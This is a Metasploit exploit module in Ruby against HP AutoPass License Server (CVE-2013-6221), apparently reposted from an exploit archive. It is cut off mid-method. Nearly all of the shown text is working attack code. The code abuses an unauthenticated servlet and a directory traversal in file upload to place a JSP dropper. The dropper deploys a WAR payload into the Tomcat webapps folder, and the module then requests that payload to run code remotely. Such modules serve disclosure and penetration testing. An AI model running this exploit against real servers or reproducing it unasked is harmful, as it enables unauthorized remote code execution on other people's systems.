HP AutoPass License Server – Arbitrary File Upload (Metasploit)
## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'HP AutoPass License Server File Upload', 'Description' => %q{ This module exploits a code execution flaw in HP AutoPass License Server. It abuses two weaknesses in order to get its objective. First, the AutoPass application doesn't enforce authentication in the CommunicationServlet component. On the other hand, it's possible to abuse a directory traversal when uploading files thorough the same component, allowing to upload an arbitrary payload embedded in a JSP. The module has been tested successfully on HP AutoPass License Server 8.01 as installed with HP Service Virtualization 3.50. }, 'Author' => [ 'rgod <rgod[at]autistici.org>', # Vulnerability discovery 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2013-6221'], ['ZDI', '14-195'], ['BID', '67989'], ['URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c04333125'] ], 'Privileged' => true, 'Platform' => %w{ java }, 'Arch' => ARCH_JAVA, 'Targets' => [ ['HP AutoPass License Server 8.01 / HP Service Virtualization 3.50', {}] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 10 2014')) register_options( [ Opt::RPORT(5814), OptString.new('TARGETURI', [true, 'Path to HP AutoPass License Server Application', '/autopass']), OptInt.new('INSTALL_DEPTH', [true, 'Traversal Depth to reach the HP AutoPass License Server folder', 4]), OptInt.new('WEBAPPS_DEPTH', [true, 'Traversal Depth to reach the Tomcat webapps folder', 1]) ], self.class) end def check check_code = Exploit::CheckCode::Safe res = send_request_cgi( { 'uri' => normalize_uri(target_uri.path.to_s, "cs","pdfupload"), 'method' => 'POST' }) unless res check_code = Exploit::CheckCode::Unknown end if res && res.code == 500 && res.body.to_s.include?("HP AutoPass License Server") && res.body.to_s.include?("java.lang.NullPointerException") && res.body.to_s.include?("com.hp.autopass") check_code = Exploit::CheckCode::Detected end check_code end def exploit app_base = rand_text_alphanumeric(4+rand(32-4)) war = payload.encoded_war({ :app_name => app_base }).to_s war_filename = "#{app_base}.war" # By default, the working directory when executing the JSP is: # C:\Program Files\HP\HP AutoPass License Server\HP AutoPass License Server\HP AutoPass License Server\bin # The war should be dropped to the next location to autodeploy: # C:\Program Files\HP\HP AutoPass License Server\HP AutoPass License Server\HP AutoPass License Server\webapps war_traversal = webapps_traversal war_traversal << "webapps/#{war_filename}" dropper = jsp_drop_bin(war, war_traversal) dropper_filename = rand_text_alpha(8) + ".jsp" print_status("#{peer} - Uploading the JSP dropper #{dropper_filename}...") # The JSP, by default, is uploaded to: # C:\Program Files\HP\HP AutoPass License Server\AutoPass\LicenseServer\conf\pdfiles\ # In order to execute it, through the AutoPass application we would like to drop it here: # C:\Program Files\HP\HP AutoPass License Server\HP AutoPass License Server\HP AutoPass License Server\webapps\autopass\scripts dropper_traversal = install_traversal dropper_traversal << "/HP AutoPass License Server/HP AutoPass License Server/webapps/autopass/scripts/#{dropper_filename}" res = upload_file(dropper_traversal, dropper) register_files_for_cleanup("#{webapps_traversal}webapps/autopass/scripts/#{dropper_filename}") register_files_for_cleanup("#{webapps_traversal}webapps/#{war_filename}") unless res && res.code == 500 && res.body.to_s.include?("HP AutoPass License Server") && res.body.to_s.include?("java.lang.NullPointerException") && res.body.to_s.include?("com.hp.autopass") print_error("#{peer} - Unexpected response... upload maybe failed, trying anyway...") end res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "scripts", dropper_filename), 'method' => 'GET' }) unless res and res.code == 200 print_error("#{peer} - Unexpected response after executing the dropper...") end 10.times do select(nil, nil, nil, 2) # Now make a request to trigger the newly deployed war print_status("#{peer} - Attempting to launch payload in deployed WAR...") res = send_request_cgi( { 'uri' => normalize_uri(app_base, Rex::Text.rand_text_alpha(rand(8)+8) + ".jsp"), 'method' => 'GET' }) # Failure.
